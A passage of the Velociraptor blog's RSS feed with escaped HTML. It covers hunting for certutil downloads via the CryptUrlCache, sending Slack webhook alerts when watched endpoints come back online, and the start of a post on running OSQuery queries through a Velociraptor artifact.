target=&#34;_blank&#34; &gt;https://github.com/Velocidex/velociraptor/blob/master/artifacts/definitions/Windows/Forensics/CertUtil.yaml&lt;/a&gt; including extra functionality like filtering out whitelisted domains, and an option to also fetch the downloaded file from the &lt;strong&gt;CryptUrlCache&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;collecting-the-new-artifact&#34;&gt;Collecting the new &lt;strong&gt;artifact&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;I will now collect the artifact from my endpoint. Using the GUI, I click the &lt;strong&gt;add new collection&lt;/strong&gt; button, then search for my &lt;strong&gt;Windows.Forensics.CertUtil&lt;/strong&gt; artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/../../img/1j1yRTbk4mFoWNPBWKHHevA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now I can configure the whitelist and possibly also choose to download the cached files.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/../../img/1djMNYeKuRJ5xISGh7ssg9Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The files are parsed on the endpoint and we see the relevant information in seconds&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/../../img/1W9X8wH91FoezNlOk4gXzuA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Doing a hunt across all my endpoints will now tell me if &lt;code&gt;certutil&lt;/code&gt; was ever used to download a suspicious tool, from where, and potentially uploading the tool itself in the &lt;strong&gt;CryptUrlCache&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;Although this was a simple example, the binary parser is extremely capable. Some other examples include &lt;strong&gt;Windows.System.Powershell.ModuleAnalysisCache&lt;/strong&gt; (parses the powershell module analysis cache) and &lt;strong&gt;Windows.Forensic.Lnk&lt;/strong&gt; (Parse link files) and many more.&lt;/p&gt;&#xA;&lt;p&gt;Being able to go from reading an analysis in a blog post to running a hunt across your entire network in a matter of minutes is a truly powerful capability, allowing our DFIR team to be proactive and innovative. Having a powerful binary parser in your toolbox is a real bonus making many types of hunts possible.&lt;/p&gt;&#xA;&lt;p&gt;If you are interested in learning more about Velociraptor, check out our hands on training courses on &lt;a href=&#34;https://www.velocidex.com/training/&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/training/&lt;/a&gt; or join us on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Slack and Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/</link>
      <pubDate>Sat, 26 Dec 2020 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/https://cdn-images-1.medium.com/max/12030/0*bkglpXK2FLycHuia?width=600px&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Photo by Joan Gamell on Unsplash&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Photo by Joan Gamell on Unsplash&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;Photo by &lt;a href=&#34;https://unsplash.com/@gamell?utm_source=medium&amp;amp;utm_medium=referral&#34; target=&#34;_blank&#34; &gt;Joan Gamell&lt;/a&gt; on &lt;a href=&#34;https://unsplash.com?utm_source=medium&amp;amp;utm_medium=referral&#34; target=&#34;_blank&#34; &gt;Unsplash&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;You might have heard of &lt;a href=&#34;https://slack.com/&#34; target=&#34;_blank&#34; &gt;Slack&lt;/a&gt; — a chatting app that has grown in popularity over the past few years. Slack allows for API access to the the workspaces, which opens the door to novel applications and automation.&lt;/p&gt;&#xA;&lt;p&gt;In this blog post I will demonstrate how to connect Slack to Velociraptor, and be notified within a Slack channel of various events that happen on your Velociraptor deployment.&lt;/p&gt;&#xA;&lt;h3 id=&#34;creating-a-slack-app&#34;&gt;Creating a Slack App&lt;/h3&gt;&#xA;&lt;p&gt;The first thing I will do is create a Slack channel to receives messages from Velociraptor. This keeps Velociraptor messages separate and I can subscribe a small number of users within my Slack workspace to that channel.&lt;/p&gt;&#xA;&lt;p&gt;I will create a new channel called “alerts”&lt;/p&gt;&#xA;&lt;p&gt;Next I will create an App which will communicate with the workspace&#xA;and be able to post messages to the alerts channel. (This &lt;a href=&#34;https://api.slack.com/start/overview#creating&#34; target=&#34;_blank&#34; &gt;reference&#xA;&lt;/a&gt;has a lot of details&#xA;on this step, which I will just skip but you should consult it for&#xA;your own use). First I visit the slack API page at&#xA;&lt;a href=&#34;https://api.slack.com/apps&#34; target=&#34;_blank&#34; &gt;https://api.slack.com/apps&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/14J5S4V0jlkVLvFKI3SaeUA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next I will create an app called “Velociraptor” that will be able to push messages to my workspace.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/19RCHElLgfXOSdioPqfE28g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since I just want Velociraptor to inform me about events, it really only needs to push messages. I will therefore select the “Incoming Webhooks” app type.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1hzeftjwj-ItD5h_H_eE62g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Enable the webhook by sliding the option to on&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1EVMLGulrWcrmJfhHb9hRUA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Webhooks are simply HTTP REST APIs which can be used by any software to post to the channel providing they have a special secret called a “Token”. I can add a new webhook to my workspace on this page&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1WWBAXXo9zmQ4WFkeSvuhLQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I now allow the webhook to post to the alerts channel&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1uAS5ZvGflIp_-zl2STlYpg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Posting the message is a very simple HTTP request — Slack even shows an example using curl&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1mubZvdsnaLV-fB_tfQpQNw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The curl command line indicates that the request:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Needs to be using the POST method&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Needs to have a content type of &lt;em&gt;application/json&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Needs to POST a JSON encoded object with a key called “text” which contains the message text.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;posting-a-message-from-velociraptor&#34;&gt;Posting a message from Velociraptor&lt;/h3&gt;&#xA;&lt;p&gt;Next I will test my new webhook by writing a quick VQL query in a Velociraptor notebook. I like to develop my VQL in a notebook, since that allows me to easily iterate over my query. Going to my Velociraptor console, I add a new notebook and add a VQL cell.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1GBkeEP6PTZnNttmw1B_Q1A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Here I am just replicating the curl command line above using VQL’s http_client plugin. Once I save the cell, Velociraptor will make an API request to the slack servers and my message will appear in the alerts channel.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/12QiKAIh7vZ0A9Xe9y3rtOg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;alerting-on-events&#34;&gt;Alerting on events&lt;/h3&gt;&#xA;&lt;p&gt;Sending messages to Slack is pretty cool, but we really want to know when interesting stuff happens in response to events. One interesting use case that people always ask me about is to alert when a particular machine comes back online so it can be interactively investigated.&lt;/p&gt;&#xA;&lt;p&gt;From a usability perspective, I want to tell the server to monitor a number of endpoints, and then when each comes back online, send a Slack message and stop monitoring that system.&lt;/p&gt;&#xA;&lt;p&gt;Whenever I have a set of machines that we want to operate on, I think of client labels. In Velociraptor, we can attach any number of labels to a client, and then search for all machines that have the label efficiently (this effectively creates a group of machines).&lt;/p&gt;&#xA;&lt;p&gt;I will add the label “Slack” to my test machine by simply selecting it in the client search page and clicking the “Add Label” button.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1uKNwvvn723Ygr_STiMwsNg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Going back to my notebook, I am ready to develop this VQL query step by step.&lt;/p&gt;&#xA;&lt;h3 id=&#34;step-1-is-the-client-online-now&#34;&gt;Step 1: Is the client online now?&lt;/h3&gt;&#xA;&lt;p&gt;The first query I will write will return all the clients in the &lt;strong&gt;“Slack”&lt;/strong&gt; label group, and show how many seconds ago they were online.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1wCX-kCRmOvkUZcgHYj3_ug.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I am using the now() VQL function to return the number of seconds since the epoch. The client’s &lt;strong&gt;last_seen_at&lt;/strong&gt; time is given as microseconds since the epoch so I quickly convert it to seconds.&lt;/p&gt;&#xA;&lt;p&gt;I can quickly retrieve the clients in the &lt;strong&gt;“Slack”&lt;/strong&gt; label group by using the clients() plugin and applying a search expression “label:Slack”. Note that searching the clients by label in this way is much more efficient since it uses the label index rather than a row scan over all clients.&lt;/p&gt;&#xA;&lt;h3 id=&#34;step-2-alert-for-recently-seen-clients&#34;&gt;Step 2: Alert for recently seen clients&lt;/h3&gt;&#xA;&lt;p&gt;The next step is to send a Slack message for all clients which have been seen recently (say in the last 5 minutes).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/124ZL5EICiE_pZYKfTlPj7w.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I add a WHERE Condition to the previous query, then for each client, I re-use my earlier Slack query to post a message informing me which client is online.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1eKxlzgJgqGbbpIBDCYgTLQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;step-3-removing-the-client-from-the-watchlist&#34;&gt;Step 3: Removing the client from the watchlist&lt;/h3&gt;&#xA;&lt;p&gt;Once I sent a slack alert for this client, I do not want to check it again. Let’s modify the above query to remove the label as well.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/19a5wyFGxAik1oa1I8Qe4Uw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;step-4-creating-a-monitoring-artifact&#34;&gt;Step 4: Creating a monitoring artifact&lt;/h3&gt;&#xA;&lt;p&gt;We previously saw how I can check for clients and send slack messages in the notebook. While this is fun and helps to develop VQL, in order to actually run this, we need to have the server monitoring for new clients all the time — in other words we need a Monitoring (Or Events) Artifact.&lt;/p&gt;&#xA;&lt;p&gt;The previous query just ran once and stopped, but I really want to run it continuously every minute say. I do this by running the previous query periodically using the &lt;strong&gt;clock()&lt;/strong&gt; plugin.&lt;/p&gt;&#xA;&lt;p&gt;I go to the “View Artifacts” sidebar and then click the “Add an artifact” button.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1ZKfuzpZHTGCd3b2mOEcGPg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The two main differences here are that this is a SERVER_EVENT artifact — i.e. it is running on the server continuously. I then use the clock() plugin to trigger the previous query to run every minute and scan for new clients coming online (line 27: &lt;strong&gt;foreach&lt;/strong&gt; &lt;strong&gt;clock&lt;/strong&gt; event, run the &lt;strong&gt;send_message&lt;/strong&gt; query).&lt;/p&gt;&#xA;&lt;h3 id=&#34;step-5-install-the-artifact&#34;&gt;Step 5: Install the artifact&lt;/h3&gt;&#xA;&lt;p&gt;To install the artifact on the server, I will go to the Server Monitoring screen, and add it in the search view by clicking the “update server monitoring table” toolbar button.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1nsoI3t2io_Ww8gbCxptniw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now I can add the label to any client I am interested in and within a minute of it coming back online I will receive an alert in my slack channel&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/../../img/1_RuYRGYKlwA7VeMkExYcyA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;In this post we saw how to make outbound REST API calls from the Velociraptor server using VQL. The example of Slack integration is a great use case for such an artifact, but there are many systems using HTTP style APIs (RESTfull or not) to be able to receive information from Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;We saw how VQL can be written to run a continuous monitoring query on the server, checking for a condition that we are interested in. You could probably think of many examples of events that you will want to be notified of in a similar way (e.g. psexec used on any endpoint can be detected in near real time and escalated automatically to a Slack channel, or getting notified when a critical domain account is used anywhere on the network).&lt;/p&gt;&#xA;&lt;p&gt;Escalating to Slack is suitable for fairly low frequency but high value events. If there are too many events, the channel will be too noisy and not useful (people will just mute it), so consider how frequently the alert will be fired, and how you intend to deal with it.&lt;/p&gt;&#xA;&lt;p&gt;To play with this feature yourself, take&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt; Velociraptor for a spin&lt;/a&gt;! It is a available on GitHub under an open source license. If you want to learn more about VQL and Velociraptor consider joining us on one of our &lt;a href=&#34;https://www.velocidex.com/training/&#34; target=&#34;_blank&#34; &gt;upcoming training sessions&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;As always please file issues on the bug tracker or ask questions on our mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt; . You can also chat with us directly on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor and OSQuery</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-12-13-velociraptor-and-osquery-2a4306dd23c/</link>
      <pubDate>Sun, 13 Dec 2020 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-12-13-velociraptor-and-osquery-2a4306dd23c/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-13-velociraptor-and-osquery-2a4306dd23c/../../img/19ovPD0uFOFPmMydH9lHTlA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;One of our favorite tools for endpoint visibility is &lt;a href=&#34;https://github.com/osquery/osquery&#34; target=&#34;_blank&#34; &gt;OSQuery&lt;/a&gt;. OSQuery has really transformed the state of endpoint visibility and DFIR by allowing analysts to flexibly issue queries to introspect endpoint state, just like a database. This flexibility has always been the inspiration for Velociraptor, and the development of the Velociraptor Query Language (VQL) followed the footsteps of OSQuery to provide a powerful and flexible query language.&lt;/p&gt;&#xA;&lt;p&gt;However, while OSQuery provides a query engine with many plugins exposing machine state, it is not typically enough on its own. OSQuery itself does not provide a server, nor does it provide a GUI (there are a number of OSQuery servers, such as &lt;a href=&#34;https://github.com/fleetdm/fleet&#34; target=&#34;_blank&#34; &gt;FleetDM/Fleet&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;While, Velociraptor was designed to be a scalable DFIR tool that is easy to deploy (typically &lt;a href=&#34;https://www.youtube.com/watch?v=l1_sKDmNWS4&amp;amp;t=550s&#34; target=&#34;_blank&#34; &gt;deployed in minutes&lt;/a&gt;). It is typically more complicated to deploy OSQuery at scale, use it to hunt widely and post-process the results.&lt;/p&gt;&#xA;&lt;p&gt;Nevertheless, OSQuery has been around for a long time, and there are many existing queries that could be used immediately, without needing to convert then to VQL first.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34;tip&#34;&gt;&lt;p&gt;Velociraptor and OSQuery are not an either or choice — you can use&#xA;them both at the same time!&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;In recent releases Velociraptor directly integrates OSQuery on all supported platforms — so you can issue the same OSQuery query you always did and it would work exactly the same within Velociraptor. This blog post explains how the integration is done, and we go though a typical example to how Velociraptor can use OSQuery to hunt through many machines quickly.&lt;/p&gt;&#xA;&lt;h3 id=&#34;osquery-integration&#34;&gt;OSQuery integration&lt;/h3&gt;&#xA;&lt;p&gt;OSQuery itself is a query engine — it is distributed a single executable which is capable of evaluating a query, and returning a result set (essentially a table of rows and columns). In this sense OSQuery is very similar to VQL queries, which also return a result set.&lt;/p&gt;&#xA;&lt;p&gt;The goal of the OSQuery integration is to make OSQuery appear as a natural extension to VQL. That is, within Velociraptor, OSQuery output is indistinguishable from the output of native VQL queries. This allows one to filter and enrich the OSQuery query using standard VQL.&lt;/p&gt;&#xA;&lt;p&gt;Let’s have a look at the VQL artifact that implements OSQuery integration&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;name: Windows.OSQuery.Generic&#xA;description: |&#xA;  OSQuery is an excellent tool for querying system state across the&#xA;  three supported Velociraptor platform (Windows/Linux/MacOS).&#xA;&#xA;  You can read more about OSQuery on https://osquery.io/&#xA;&#xA;reference:&#xA;  - https://osquery.io/&#xA;  - https://github.com/osquery/osquery&#xA;&#xA;# I am not actually sure if OSQuery allows arbitrary command execution via SQL?&#xA;required_permissions:&#xA;  - EXECVE&#xA;&#xA;precondition: SELECT OS From info() where OS = &#39;windows&#39;&#xA;&#xA;tools:&#xA;  - name: OSQueryWindows&#xA;    github_project: Velocidex/OSQuery-Releases&#xA;    github_asset_regex: windows-amd64.exe&#xA;&#xA;parameters:&#xA;  - name: Query&#xA;    default: &amp;quot;SELECT * FROM osquery_info&amp;quot;&#xA;&#xA;sources:&#xA;  - query: |&#xA;      LET binary &amp;lt;= SELECT FullPath&#xA;      FROM Artifact.Generic.Utils.FetchBinary(ToolName=&amp;quot;OSQueryWindows&amp;quot;)&#xA;&#xA;      LET result = SELECT * FROM execve(&#xA;         argv=[binary[0].FullPath, &amp;quot;--json&amp;quot;, Query],&#xA;         length=1000000)&#xA;&#xA;      SELECT * FROM foreach(row=result,&#xA;      query={&#xA;         SELECT * FROM parse_json_array(data=Stdout)&#xA;      })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As described in a&lt;a href=&#34;https://medium.com/velociraptor-ir/velociraptor-in-the-tool-age-d896dfe71b9&#34; target=&#34;_blank&#34; &gt; previous post&lt;/a&gt;, Velociraptor will deliver the 